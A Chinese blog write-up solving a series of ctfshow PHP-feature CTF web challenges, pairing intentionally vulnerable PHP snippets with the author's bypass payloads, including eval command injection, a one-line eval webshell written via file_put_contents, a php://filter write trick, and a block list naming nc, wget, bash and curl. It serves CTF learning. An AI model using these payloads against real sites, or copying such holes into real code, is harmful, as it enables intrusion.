PHP特性

web95

 <?php

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){//不让出现字母【a-z】和点【.】。
        die("no no no!!");
    }
    if(!strpos($num, "0")){//查看数字中是否有0出现,由于开头的零会看成八进制解析。
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
} 

php的intval函数默认值转换是十进制,当数字以0开头时以八进制转换,以0x开头时以十六进制转换。
这个题中可以使用八进制(0开头)绕过,十六进制不行(0x开头)。4476转换为八进制为10574。php中+可以当作空格使用。
?num=+010574

web98


Notice: Undefined index: flag in /var/www/html/index.php on line 15

Notice: Undefined index: flag in /var/www/html/index.php on line 16

Notice: Undefined index: HTTP_FLAG in /var/www/html/index.php on line 17
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 21:39:27
# @link: https://ctfer.com

*/

include("flag.php");
$_GET?$_GET=&$_POST:'flag';//如果存在get方法传入参数,就将get传入参数变为post方法传入参数。
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';//若get(flag)传入的flag,cookie变为“flag”。
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';//若get(flag)传入的flag,SERVER变为“flag”。
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);//get(HTTP_FLAG)传入flag,得到flag.php

?> 

ok,get传入随便传参?1=3post传入HTTP_FLAG=flag。得到flag。
1

web99

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 22:36:12
# @link: https://ctfer.com

*/

highlight_file(__FILE__);
$allow = array();//设置为数组
for ($i=36; $i < 0x36d; $i++) { //0x36d=877
    array_push($allow, rand(1,$i));//将数组写入$allow(随机数)
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){//匹配传入的n值是否在$allow中,存在返回true
    file_put_contents($_GET['n'], $_POST['content']);//将post传参(content)写入文件
}

?> 

payload:?n=1.phpin_array存在弱比较漏洞,传入1.php会判断为1。
post:content=<? eval($_POST[a]);?>,不行的话多试几次,毕竟是随机匹配。

web100

<?
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}

?>

涉及到一个知识点逻辑运算符,再复习一下:
2
法一
payload?v1=1&v2=system("ls")/*&v3=;*/;
?v1=1&v2=system("cat ctfshow*")/*&v3=;*/;右键查看源码
法二
采用php的反射类ReflectionClass
?v1=1&v2=echo new ReflectionClass&v3=;
1
记得把0x2d改成-,最后再加上ctfshow{}。

web102

<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
}

?> 

call_user_func是一个内置函数,它允许你通过函数名字符串调用一个函数或方法。
下面是一个使用call_user_func调用一个函数的例子:

function add($a, $b) {
  return $a + $b;
}

$result = call_user_func('add', 2, 3);
echo $result; // 输出 5

在这个例子中,我们使用call_user_func通过函数名字符串’add’来调用add函数,并传递了参数2和3。call_user_func执行了add(2, 3),返回结果5。

除了函数名字符串之外,$callback还可以是一个包含对象和方法名的数组,或者是一个闭包。call_user_func在使用这些类型的回调时与使用函数名字符串的方式是类似的。
hex2bin() 函数把十六进制值转换为 ASCII 字符
bin2hex()函数把ASCII 字符转换为 十六进制值
本题中传入的v1与$s在函数call_user_func中会调用$s
v2要纯数字v3不限

GET
v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-
decode/resource=2.php
POST
v1=hex2bin
#访问2.php后查看源代码获得flag

参考链接

web105

<?
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;
}foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
if(!($_POST['flag']==$flag)){
    die($error);
}
echo "your are good".$flag."\n";
die($suces);
?> 

foreach函数

foreach 循环只适用于数组,并用于遍历数组中的每个键/值对。
foreach ($array as $value)

die() 函数输出一条消息,并退出当前脚本。

每进行一次循环迭代,当前数组元素的值就会被赋值给 $value 变量,并且数组指针会逐一地移动,直到到达最后一个数组元素。
get传入一个值,把值赋给key,如果key===error输出”what are you doing?!“停止函数。否则把值赋给value
post传入一个值,把值赋给key,如果key===flag输出”what are you doing?!“停止函数。否则把值赋给value
如果post传入的flag与$flag相等。给我们flag
payload:

GET:
?x=flag
POST:
error=x

web107

<?php

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
    $v1 = $_POST['v1'];
    $v3 = $_GET['v3'];
       parse_str($v1,$v2);
       if($v2['flag']==md5($v3)){
           echo $flag;
       }
}
?> 

post方式传入v1,get方式传入v3。
parse_str(\$v1,\$v2);将v1的内容当作v2的参数。
if($v2['flag']==md5($v3)){v2的flag参数的值值等于传入的v3传入参数的MD5加密后的值
payload:
GET:?v3=2
POST:v1=flag=c81e728d9d4c2f636f067f89cc14862c
得到flag。
1

web108

<?php

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
    die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){//0x36d=877
    echo $flag;
}

?> 

^是开始位置,$是结束位置。
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
在get传入参数中查看是否是a-zA-Z开头的,如果是返回true。要绕过第一个if语句,必须使为true。然后才能不执行die函数。
if(intval(strrev($_GET['c']))==0x36d){将传入的值倒置弱类型判断是否是整数877
payload:?c=a%00778(%00截断漏洞)
2

web109

<?php

highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
            eval("echo new $v1($v2());");
    }

}

?>

v1和v2传入的值若含有字母则执行eval()函数。
payload:?v1=Exception&v2=system("cat fl36dg.txt")?v1=ReflectionClass&v2=system("cat fl36dg.txt")。得到flag。

?v1=ReflectionClass&v2=system(“cat fl36dg.txt”)
这段代码的作用是使用PHP的反射机制来获取一个由执行”ls”命令的结果返回的类的信息,并将该信息输出到标准输出中。
具体地,这段代码使用了PHP的反射类ReflectionClass来获取由system(“ls”)命令执行返回的类的信息。其中,system(“ls”)执行了一个shell命令”ls”,并将其输出到标准输出。反射类ReflectionClass通过接收一个类名参数来获取该类的信息,这里的类名就是由”ls”命令返回的结果。

?v1=Exception&v2=system("cat fl36dg.txt")
该命令使用PHP语言中的system()函数来执行ls命令,并将结果传递给Exception类的构造函数,然后将该异常实例传递给echo语句。
换句话说,该命令的意思是在PHP脚本中执行ls命令,将其结果作为参数传递给Exception类的构造函数,然后将这个异常对象输出到屏幕上。在这个过程中,如果ls命令执行出错,会抛出一个异常并显示在屏幕上。

web110

不愧是php特性,都没见过!!

<?php


highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
            die("error v2");
    }

    eval("echo new $v1($v2());");

}

?> 

这里新了解到一个php函数
FilesystemIterator用来创建当前目录的迭代器。
getcwd获取当前工作目录
1
payload:
?v1=FilesystemIterator&v2=getcwd
2
访问文件得到flag。

web115

<?php
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
    if($num=='36'){
        echo $flag;
    }else{
        echo "hacker!!";
    }
}else{
    echo "hacker!!!";
}

1
2
好像没过滤\f

payload:
GET:?num=%0c36

web123

<?php


error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
?> 

$a在本题中没用,需要传入CTF_SHOW,CTF_SHOW.COM并且不传入fl0g。
payload:POST CTF_SHOW=1&CTF_SHOW.COM=2&fun=echo $flag但是不成功,原来是把.给过滤掉了。这里了解到php的一个特性php标变量名只允许数字字母下划线,当post或get传入的时候,如果含有空格,+,[ 则会转化为_,但是如果传入[ 之后他会被转化为_,此时后面的字符就会被保留下来而不会被替换。
payload:CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag

web 125

<?php


error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
         eval("$c".";");
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
?>

使用highlight_file()函数。
payload:**GET** ?shell=flag.php **POST** CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[shell])

web136

 <?php
error_reporting(0);
function check($x){
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|system|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
        echo('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    $c=$_GET['c'];
    check($c);
    system($c);
}
else{
    highlight_file(__FILE__);
}
?> 

正常payload:
?c=cat /f149_15_h3r3;
了解到一个新命令tee

1
2

另一个方法
sed命令
3
xargs命令

web138

<?php

error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    function __wakeup(){
        die("private class");
    }
    static function getFlag(){
        echo file_get_contents("flag.php");
    }
}

if(strripos($_POST['ctfshow'], ":")>-1){
    die("private function");
}

call_user_func($_POST['ctfshow']); 
?>

过滤了::,不能用上题的ctfshow=stfshow::getFlag了。
call_user_func函数在php文档中还有思路
1
也就是说call_user_func函数可以传入数组前面是类名,后面是方法名。
payloadPOST ctfshow[0]=ctfshow&ctfshow[1]=getFlag
4

打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!

请我喝杯咖啡吧~

支付宝
微信